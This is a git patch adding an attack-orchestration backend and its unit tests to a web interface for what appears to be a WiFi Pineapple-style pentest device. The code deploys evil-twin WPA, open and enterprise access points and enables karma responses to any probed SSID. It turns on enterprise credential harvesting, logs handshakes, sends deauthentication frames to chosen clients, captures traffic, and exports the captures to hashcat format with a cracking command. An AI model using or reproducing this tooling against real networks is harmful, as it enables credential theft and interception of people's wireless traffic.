From 63fa5ae94a041d5974c43b584d0256e33d7e51e1 Mon Sep 17 00:00:00 2001 From: c4ch3c4d3 Date: Tue, 18 Aug 2026 19:27:25 -0500 Subject: [PATCH] feat: one-click attack orchestration backend (Evil WPA/Open/Enterprise) Deploy/stop/status/capture/export-hc22000/deauth endpoints. Band-aware deauth inject (wlan0mon for 2.4GHz), enterprise AP via wlan0ent + PineAPE, verified writes polled from /sys, hop resumed when no radio1 AP active. --- .../user/remote_access/pager-webui/server.py | 418 ++++++++++++++++++ tests/test_attacks.py | 244 ++++++++++ 2 files changed, 662 insertions(+) create mode 100644 tests/test_attacks.py diff --git a/payload/user/remote_access/pager-webui/server.py b/payload/user/remote_access/pager-webui/server.py index 4de3989..32b6db8 100644 --- a/payload/user/remote_access/pager-webui/server.py +++ b/payload/user/remote_access/pager-webui/server.py @@ -2779,6 +2779,417 @@ def h_pineap_interfaces(ctx): return _daemon_proxy('PUT', 'interfaces/set_interface', ctx.body or {}) +# -------------------------------------------------------------------------- +# Attacks: one-click Evil WPA / Open / Enterprise orchestration. +# Truth is always UCI + live interfaces; every write is verified by re-read. +# -------------------------------------------------------------------------- + +ATTACK_IFACES = { + 'wpa': {'radio0': 'wlan0wpa', 'radio1': 'wlan1wpa'}, + 'open': {'radio0': 'wlan0open', 'radio1': 'wlan1open'}, +} + + +def _band_of_channel(channel): + band = channel_band(channel) + if band is None: + raise ValueError('channel must be a 2.4, 5 or 6 GHz channel') + return band + + +def _set_uci(name, value): + device_run(['uci', 'set', 'wireless.%s=%s' % (name, value)]) + + +def _enable_attack_engine(): + """Turn on the karma response engine + handshake logging.""" + _daemon_proxy('PUT', 'hostapd/enable_pineap', {'enable': True}) + _daemon_proxy('POST', 'mimic/enable', {'enable': True}) + _daemon_proxy('PUT', 'pineap/set_config', { + 'loghandshake': True, + 'logpartialhandshake': True, + }) + + +def _allow_all_ssids(): + """Set the SSID filter to deny mode (allow-by-default) so karma + responds to any probed SSID.""" + rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30) + return rc == 0 + + +def _verify_iface(name, timeout=20.0): + """Poll until the interface is live in /sys (hostapd applied it).""" + deadline = time.time() + timeout + while time.time() < deadline: + if os.path.exists('/sys/class/net/%s' % name): + return True + time.sleep(1.0) + return False + + +def _deploy_wpa_open(kind, fields): + band = _band_of_channel(fields.get('channel')) + ssid = (fields.get('ssid') or '').strip() + if not ssid: + raise ValueError('SSID is required') + if kind == 'wpa': + passphrase = fields.get('passphrase') or '' + enctype = fields.get('enctype') or 'psk2' + if band == BAND_2G and enctype not in ('psk2', 'sae', 'owe'): + raise ValueError('invalid encryption type') + if enctype in ('psk2', 'sae') and not (8 <= len(passphrase) <= 63): + raise ValueError('passphrase must be 8-63 characters') + if band == BAND_2G: + # Enterprise shares radio0's karma surface: deploying a 2.4 attack + # turns the enterprise AP off so response behavior is predictable. + _disable_enterprise_ap() + iface = ATTACK_IFACES[kind]['radio0'] + daemon_cfg = { + 'interface': iface, + 'ssid': ssid, + 'enabled': True, + 'hidden': bool(fields.get('hidden')), + 'channel': int(fields.get('channel') or 1), + } + if kind == 'wpa': + daemon_cfg['enctype'] = enctype + daemon_cfg['key'] = fields.get('passphrase') or '' + else: + daemon_cfg['enctype'] = 'none' + bssid = (fields.get('bssid') or '').strip().upper() + if bssid: + if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid): + raise ValueError('invalid BSSID format') + daemon_cfg['bssid'] = bssid + status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap', + body={'configs': [daemon_cfg]}, timeout=45) + if status != 200: + raise RuntimeError('daemon rejected AP config: %r' % (data,)) + if kind == 'open': + _apply_open_radio({'channel': int(fields.get('channel') or 1), + 'country': fields.get('country') or 'US'}) + else: + # 5/6 GHz: radio1 feature + _remove_radio1_ap() + if kind == 'wpa': + _apply_radio1_ap(None, { + 'ssid': ssid, 'passphrase': fields.get('passphrase') or '', + 'enctype': enctype, 'hidden': bool(fields.get('hidden')), + 'enabled': True, 'channel': int(fields.get('channel')), + 'country': fields.get('country') or 'US', + }) + iface = 'wlan1wpa' + else: + _apply_radio1_ap({ + 'ssid': ssid, 'hidden': bool(fields.get('hidden')), + 'enabled': True, 'channel': int(fields.get('channel')), + 'bssid': fields.get('bssid') or '', + 'country': fields.get('country') or 'US', + }, None) + iface = 'wlan1open' + _enable_attack_engine() + _allow_all_ssids() + verified = _verify_iface(iface) + return {'kind': kind, 'ssid': ssid, 'iface': iface, 'band': band, + 'channel': int(fields.get('channel')), 'verified': verified} + + +def _disable_enterprise_ap(): + cfg = _uci_wifi_iface('wlan0ent') + if cfg: + device_run(['uci', 'delete', 'wireless.wlan0ent']) + device_run(['uci', 'commit', 'wireless']) + device_run(['wifi', 'reload']) + + +def _deploy_enterprise(fields): + ssid = (fields.get('ssid') or '').strip() + if not ssid: + raise ValueError('SSID is required') + enctype = fields.get('enctype') or 'wpa2' + if enctype not in ('wpa2', 'wpa3'): + raise ValueError('enterprise encryption must be wpa2 or wpa3') + # Radio0 karma surface is shared: stop 2.4 GHz WPA/Open attacks first. + for name in ('wlan0wpa', 'wlan0open'): + cfg = _uci_wifi_iface(name) + if cfg and cfg.get('disabled') == '0': + _set_uci('%s.disabled' % name, '1') + device_run(['uci', 'commit', 'wireless']) + device_run(['wifi', 'reload']) + _set_uci('wlan0ent', 'wifi-iface') + _set_uci('wlan0ent.device', 'radio0') + _set_uci('wlan0ent.ifname', 'wlan0ent') + _set_uci('wlan0ent.mode', 'ap') + _set_uci('wlan0ent.disabled', '0') + _set_uci('wlan0ent.ssid', ssid) + _set_uci('wlan0ent.hidden', '%d' % (1 if fields.get('hidden') else 0)) + _set_uci('wlan0ent.encryption', enctype) + _set_uci('wlan0ent.key', fields.get('passphrase') or '') + ch = fields.get('channel') + if ch is not None: + _set_uci('wlan0ent.channel', '%d' % int(ch)) + device_run(['uci', 'commit', 'wireless']) + status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap', + body={'configs': [{ + 'interface': 'wlan0ent', + 'ssid': ssid, + 'enctype': enctype, + 'enabled': True, + 'hidden': bool(fields.get('hidden')), + 'key': fields.get('passphrase') or '', + 'channel': int(ch) if ch is not None else 1, + }]}, timeout=45) + if status != 200: + raise RuntimeError('daemon rejected enterprise AP: %r' % (data,)) + _enable_attack_engine() + _allow_all_ssids() + # PineAPE credential harvesting on. + daemon_sock_call('PUT', '/api/pineap/hostapd/set_config', { + 'pineape_disabled': False, + 'pineape_auth_pass': True, + }) + verified = _verify_iface('wlan0ent') + return {'kind': 'enterprise', 'ssid': ssid, 'iface': 'wlan0ent', + 'band': BAND_2G, 'channel': int(ch) if ch is not None else 1, + 'verified': verified} + + +def h_attacks_deploy(ctx): + body = ctx.body or {} + kind = (body.get('kind') or '').strip().lower() + if kind not in ('wpa', 'open', 'enterprise'): + return 400, {'error': 'kind must be wpa, open or enterprise'} + try: + if kind == 'enterprise': + result = _deploy_enterprise(body) + else: + result = _deploy_wpa_open(kind, body) + except ValueError as exc: + return 400, {'error': str(exc)} + except RuntimeError as exc: + return 502, {'error': str(exc)} + update_pineap_state(mode='advanced', enabled=True, karma=True, + collect=True) + result['ok'] = True + return 200, result + + +def _uci_ap_summary(name, radio_name): + cfg = _uci_wifi_iface(name) or {} + if not cfg: + return None + return { + 'enabled': cfg.get('disabled') == '0', + 'live': _iface_live(name), + 'ssid': cfg.get('ssid') or '', + 'band': _radio_dict(radio_name).get('band'), + 'channel': _ap_iface_dict(cfg, _uci_wifi_iface(radio_name)).get('channel'), + 'iface': name, + } + + +def _count_table(table): + rc, out, err = device_run(['sqlite3', 'file:/root/recon/recon.db?mode=ro', + 'SELECT COUNT(*) FROM %s' % table], timeout=20) + try: + return int(out.strip()) + except (TypeError, ValueError): + return 0 + + +def h_attacks_status(ctx): + handshakes = _count_table('hostap_handshake') + creds = _count_table('hostap_basic') + _count_table('hostap_chalresp') + return 200, { + 'wpa': { + 'radio0': _uci_ap_summary('wlan0wpa', 'radio0'), + 'radio1': _uci_ap_summary('wlan1wpa', 'radio1'), + }, + 'open': { + 'radio0': _uci_ap_summary('wlan0open', 'radio0'), + 'radio1': _uci_ap_summary('wlan1open', 'radio1'), + }, + 'enterprise': { + 'ap': _uci_ap_summary('wlan0ent', 'radio0'), + 'pineape': {'enabled': not bool( + (daemon_sock_call('GET', '/api/pineap/hostapd/get_config')[1] or {}) + .get('pineape_disabled', True))}, + 'creds': creds, + }, + 'handshakes': handshakes, + 'hop': {'wlan1mon': _read_hop()}, + } + + +def _radio1_ap_active(): + for name in ('wlan1wpa', 'wlan1open'): + cfg = _uci_wifi_iface(name) + if cfg and cfg.get('disabled') == '0': + return True + return False + + +def h_attacks_stop(ctx): + kind = (ctx.body or {}).get('kind') or '' + stopped = [] + if kind in ('wpa', 'open'): + if kind == 'wpa': + names = ('wlan0wpa', 'wlan1wpa') + else: + names = ('wlan0open', 'wlan1open') + for name in names: + cfg = _uci_wifi_iface(name) + if cfg and cfg.get('disabled') == '0': + _set_uci('%s.disabled' % name, '1') + stopped.append(name) + elif kind == 'enterprise': + if _uci_wifi_iface('wlan0ent'): + _disable_enterprise_ap() + stopped.append('wlan0ent') + else: + return 400, {'error': 'kind must be wpa, open or enterprise'} + if stopped: + device_run(['uci', 'commit', 'wireless']) + device_run(['wifi', 'reload']) + # Leave hop alone if a radio1 AP is still active. + if not _radio1_ap_active(): + _resume_hop() + return 200, {'ok': True, 'stopped': stopped} + + +def h_attacks_capture(ctx): + body = ctx.body or {} + action = body.get('action') or 'status' + iface = body.get('iface') or 'wlan0mon' + if iface not in ('wlan0mon', 'wlan1mon'): + return 400, {'error': 'iface must be wlan0mon or wlan1mon'} + pidfile = '/tmp/mk8_capture_%s.pid' % iface + capdir = '/root/loot/pcap' + if action == 'start': + try: + with open(pidfile) as f: + old = int(f.read().strip()) + if os.path.exists('/proc/%d' % old): + return 200, {'running': True, 'pid': old, 'iface': iface} + except (OSError, ValueError): + pass + path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time())) + rc, out, err = device_run( + ['sh', '-c', + 'setsid tcpdump -i %s -s 3000 -w %s >/dev/null 2>&1 & echo $! > %s' + % (iface, path, pidfile)], timeout=10) + try: + with open(pidfile) as f: + pid = int(f.read().strip()) + except (OSError, ValueError): + pid = None + if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid): + return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]} + return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface} + if action == 'stop': + try: + with open(pidfile) as f: + old = int(f.read().strip()) + device_run(['kill', str(old)], timeout=10) + try: + os.unlink(pidfile) + except OSError: + pass + return 200, {'running': False, 'stopped': old} + except (OSError, ValueError): + return 200, {'running': False, 'stopped': None} + # status + running = False + try: + with open(pidfile) as f: + old = int(f.read().strip()) + running = os.path.exists('/proc/%d' % old) + except (OSError, ValueError): + pass + return 200, {'running': running, 'iface': iface} + + +def h_attacks_export_hc22000(ctx): + """Convert captured pcaps into a hashcat-ready .hc22000 file.""" + outdir = '/root/loot/hc22000' + device_run(['mkdir', '-p', outdir]) + sources = [] + for d in ('/root/loot/handshakes', '/root/loot/pcap'): + rc, out, err = device_run(['ls', d]) + for line in out.splitlines(): + line = line.strip() + if line.endswith(('.pcap', '.cap', '.pcapng')): + sources.append(os.path.join(d, line)) + if not sources: + return 404, {'error': 'no capture files found under /root/loot'} + outname = 'handshakes_%d.hc22000' % int(time.time()) + outpath = os.path.join(outdir, outname) + rc, out, err = device_run(['hcxpcapngtool', '-o', outpath] + sources, timeout=120) + if rc != 0 or not os.path.exists(outpath): + return 502, {'error': 'hcxpcapngtool failed', 'detail': (err or out)[-500:]} + size = os.path.getsize(outpath) + return 200, {'file': outpath, 'name': outname, 'size': size, + 'hashcat': 'hashcat -m 22000 %s -a 0 wordlist.txt' % outname} + + +def h_attacks_deauth(ctx): + body = ctx.body or {} + bssid = (body.get('bssid') or '').strip().upper() + client = (body.get('client') or '').strip().upper() + if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid): + return 400, {'error': 'invalid AP MAC'} + if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', client): + return 400, {'error': 'invalid client MAC'} + channel = body.get('channel') + try: + channel = int(channel) if channel is not None else None + except (TypeError, ValueError): + return 400, {'error': 'invalid channel'} + band = _band_of_channel(channel) if channel is not None else None + inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon' + if inject != 'wlan1mon': + _pineap('INTERFACE', 'INJECT', inject) + rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, + str(channel or 1)], timeout=30) + if rc != 0: + return 502, {'error': 'deauth failed', 'detail': err or out} + return 200, {'ok': True, 'bssid': bssid, 'client': client, + 'channel': channel, 'inject': inject} + + +def _pineap(*args, timeout=30): + rc, out, err = device_run(['_pineap'] + list(args), timeout=timeout) + return rc, out, err + + +def h_attacks_clients(ctx): + """Clients (recon devices) plus the APs matching an SSID, for targeting.""" + ssid = ((ctx.query or {}).get('ssid') or '').strip() + result = {'aps': [], 'clients': []} + rc, out, err = _pineap('RECON', 'ISEARCH', ssid, 'format=json', timeout=20) + if rc == 0: + try: + aps = json.loads(out.split('\n', 1)[-1] or out) + if isinstance(aps, list): + result['aps'] = aps + elif isinstance(aps, dict) and isinstance(aps.get('aps'), list): + result['aps'] = aps['aps'] + except ValueError: + pass + rc, out, err = _pineap('RECON', 'DEVICES', 'limit=60', 'format=json', timeout=20) + if rc == 0: + try: + devs = json.loads(out.split('\n', 1)[-1] or out) + if isinstance(devs, list): + result['clients'] = devs + elif isinstance(devs, dict) and isinstance(devs.get('devices'), list): + result['clients'] = devs['devices'] + except ValueError: + pass + return 200, result + + def hak5(*args, timeout=30): rc, out, err = device_run([HAK5CMD] + list(args), timeout=timeout) return out @@ -3781,6 +4192,13 @@ ROUTER.add('POST', r'/api/pineap/enterprise/clear', h_enterprise_clear) ROUTER.add('GET', r'/api/pineap/clients', h_clients) ROUTER.add('POST', r'/api/pineap/clients/kick', h_client_kick) ROUTER.add('POST', r'/api/pineap/deauth/client', h_deauth_client) +ROUTER.add('POST', r'/api/attacks/deploy', h_attacks_deploy) +ROUTER.add('POST', r'/api/attacks/stop', h_attacks_stop) +ROUTER.add('GET', r'/api/attacks/status', h_attacks_status) +ROUTER.add('POST', r'/api/attacks/capture', h_attacks_capture) +ROUTER.add('GET', r'/api/attacks/export/hc22000', h_attacks_export_hc22000) +ROUTER.add('POST', r'/api/attacks/deauth', h_attacks_deauth) +ROUTER.add('GET', r'/api/attacks/clients', h_attacks_clients) ROUTER.add('POST', r'/api/recon/start', h_recon_start) ROUTER.add('POST', r'/api/recon/stop', h_recon_stop) ROUTER.add('GET', r'/api/recon/status', h_recon_status) diff --git a/tests/test_attacks.py b/tests/test_attacks.py new file mode 100644 index 0000000..e761299 --- /dev/null +++ b/tests/test_attacks.py @@ -0,0 +1,244 @@ +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui')) +import server + + +def setUpModule(): + __import__('importlib').reload(server) + + +def ctx(body=None, query=None): + return type('C', (), {'body': body, 'args': (), 'query': query or {}})() + + +class FakeUciDevice: + """In-memory uci + device_run fake: 'uci set wireless.X=Y' state.""" + + def __init__(self): + self.state = {} + self.runs = [] + self.sock = [] + self._verify = True + + def device_run(self, args, timeout=20, input_data=None): + self.runs.append((list(args), input_data)) + a = list(args) + if a[:2] == ['uci', 'set']: + k, _, v = a[2].partition('=') + self.state[k] = v + elif a[:2] == ['uci', 'get']: + return (0, self.state.get(a[2], '') + '\n', '') + elif a[:2] == ['uci', 'delete']: + for k in list(self.state): + if k == a[2] or k.startswith(a[2] + '.'): + del self.state[k] + elif a[:2] == ['uci', 'commit']: + pass + elif a[0] == 'uci' and a[1] == 'show': + sec = a[2] + return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items() + if k == sec or k.startswith(sec + '.')), '') + return (0, '', '') + + def uci_iface(self, name): + cfg = {} + prefix = 'wireless.%s.' % name + for k, v in self.state.items(): + if k.startswith(prefix): + cfg[k[len(prefix):]] = v + if not cfg: + return {} + return cfg + + def daemon_sock_call(self, method, path, body=None, timeout=10): + self.sock.append((method, path, body)) + if path == '/api/pineap/hostapd/get_config': + return 200, {'pineape_disabled': False, 'pineape_auth_pass': True} + if path == '/api/pineap/get_config': + return 200, {'autossidpool': True} + return 200, {'success': True} + + +class AttacksDeployTest(unittest.TestCase): + def setUp(self): + self.f = FakeUciDevice() + server.device_run = self.f.device_run + server.daemon_sock_call = self.f.daemon_sock_call + server._uci_wifi_iface = self.f.uci_iface + server._uci_section = self.f.uci_iface + server._verify_iface = lambda name, timeout=20: self.f._verify + server._allow_all_ssids = lambda: True + self.tmp = tempfile.mkdtemp(prefix='pager-attacks-') + self.old_state = server.PINEAP_STATE_FILE + server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json') + + def tearDown(self): + server.PINEAP_STATE_FILE = self.old_state + shutil.rmtree(self.tmp) + + def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self): + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'hidden': False, 'channel': 6})) + self.assertEqual(status, 200) + self.assertTrue(payload['ok']) + self.assertTrue(payload['verified']) + cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2] + self.assertEqual(cfg['configs'][0]['interface'], 'wlan0wpa') + self.assertEqual(cfg['configs'][0]['ssid'], 'TargetNet') + self.assertEqual(cfg['configs'][0]['key'], 'secretpass1') + self.assertEqual(cfg['configs'][0]['enctype'], 'psk2') + engines = [s for s in self.f.sock + if s[1] in ('/api/pineap/hostapd/enable_pineap', + '/api/pineap/mimic/enable')] + self.assertEqual(len(engines), 2) + + def test_deploy_wpa_2g4_stops_enterprise_ap(self): + self.f.state['wireless.wlan0ent.disabled'] = '0' + server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'hidden': False, 'channel': 6})) + self.assertNotIn('wireless.wlan0ent.disabled', self.f.state) + + def test_deploy_wpa_5g_writes_radio1(self): + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'hidden': False, 'channel': 36})) + self.assertEqual(status, 200) + self.assertEqual(self.f.state['wireless.wlan1wpa.ssid'], 'Corp') + self.assertEqual(self.f.state['wireless.wlan1wpa.encryption'], 'psk2') + self.assertEqual(self.f.state['wireless.radio1.channel'], '36') + self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0') + self.assertEqual(payload['iface'], 'wlan1wpa') + self.assertEqual(payload['band'], server.BAND_5G) + + def test_deploy_open_2g4_includes_bssid_and_country(self): + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'open', 'ssid': 'Guest', 'hidden': False, + 'channel': 1, 'country': 'US', + 'bssid': 'DE:AD:BE:EF:00:01'})) + self.assertEqual(status, 200) + self.assertEqual(payload['iface'], 'wlan0open') + cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2] + self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01') + + def test_deploy_enterprise_builds_wlan0ent(self): + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass', + 'enctype': 'wpa2', 'hidden': False, 'channel': 1})) + self.assertEqual(status, 200) + self.assertEqual(payload['iface'], 'wlan0ent') + self.assertEqual(self.f.state['wireless.wlan0ent.encryption'], 'wpa2') + self.assertEqual(self.f.state['wireless.wlan0ent.ssid'], 'CorpAP') + cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2] + self.assertEqual(cfg['configs'][0]['interface'], 'wlan0ent') + self.assertEqual(cfg['configs'][0]['enctype'], 'wpa2') + pineape = [s for s in self.f.sock if s[1] == '/api/pineap/hostapd/set_config'][0] + self.assertEqual(pineape[2], {'pineape_disabled': False, 'pineape_auth_pass': True}) + + def test_deploy_validation(self): + status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''})) + self.assertEqual(status, 400) + status, _ = server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'X', 'passphrase': 'short', + 'enctype': 'psk2', 'channel': 1})) + self.assertEqual(status, 400) + status, _ = server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'X', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'channel': 200})) + self.assertEqual(status, 400) + status, _ = server.h_attacks_deploy(ctx({'kind': 'bogus'})) + self.assertEqual(status, 400) + + def test_stop_wpa_disables_both_bands(self): + self.f.state['wireless.wlan0wpa.disabled'] = '0' + self.f.state['wireless.wlan1wpa.disabled'] = '0' + self.f.state['pineapd.wlan1mon.hop'] = '0' + status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'})) + self.assertEqual(status, 200) + self.assertEqual(self.f.state['wireless.wlan0wpa.disabled'], '1') + self.assertEqual(self.f.state['wireless.wlan1wpa.disabled'], '1') + self.assertIn('wlan0wpa', payload['stopped']) + self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '1') + + +class AttacksDeauthTest(unittest.TestCase): + def setUp(self): + self.f = FakeUciDevice() + self.f._verify = True + server.device_run = self.f.device_run + server.daemon_sock_call = self.f.daemon_sock_call + server._uci_wifi_iface = self.f.uci_iface + + def test_deauth_2g4_uses_wlan0mon_inject(self): + status, payload = server.h_attacks_deauth(ctx({ + 'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66', + 'channel': 6})) + self.assertEqual(status, 200) + self.assertEqual(payload['inject'], 'wlan0mon') + calls = [r[0] for r in self.f.runs] + self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls) + self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', + '11:22:33:44:55:66', '6'], calls) + + def test_deauth_5g_keeps_wlan1mon_inject(self): + status, payload = server.h_attacks_deauth(ctx({ + 'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66', + 'channel': 36})) + self.assertEqual(status, 200) + self.assertEqual(payload['inject'], 'wlan1mon') + + def test_deauth_bad_macs_rejected(self): + status, _ = server.h_attacks_deauth(ctx({ + 'bssid': 'nope', 'client': '11:22:33:44:55:66', 'channel': 6})) + self.assertEqual(status, 400) + + +class AttacksExportTest(unittest.TestCase): + def setUp(self): + self.f = FakeUciDevice() + self.f._verify = True + server.device_run = self.f.device_run + + def fake_run(args, timeout=20, input_data=None): + self.f.runs.append((list(args), input_data)) + a = list(args) + if a[0] == 'ls': + return (0, 'a.pcap\nb.cap\n', '') + if a[0] == 'hcxpcapngtool': + return (0, '', '') + return (0, '', '') + + server.device_run = fake_run + server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {}) + self._real_exists = os.path.exists + server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys') + server.os.path.getsize = lambda p: 12 + + def tearDown(self): + server.os.path.exists = self._real_exists + try: + os.unlink('/tmp/mk8test.hc22000') + except OSError: + pass + + def test_export_converts_captures(self): + status, payload = server.h_attacks_export_hc22000(ctx()) + self.assertEqual(status, 200) + self.assertEqual(payload['size'], 12) + self.assertIn('hashcat -m 22000', payload['hashcat']) + hc = [r[0] for r in self.f.runs if r[0][0] == 'hcxpcapngtool'][0] + self.assertEqual(hc[1], '-o') + self.assertTrue(hc[2].startswith('/root/loot/hc22000/')) + self.assertTrue(hc[2].endswith('.hc22000')) + self.assertIn('/root/loot/handshakes/a.pcap', hc) + self.assertIn('/root/loot/pcap/b.cap', hc) + + +if __name__ == '__main__': + unittest.main()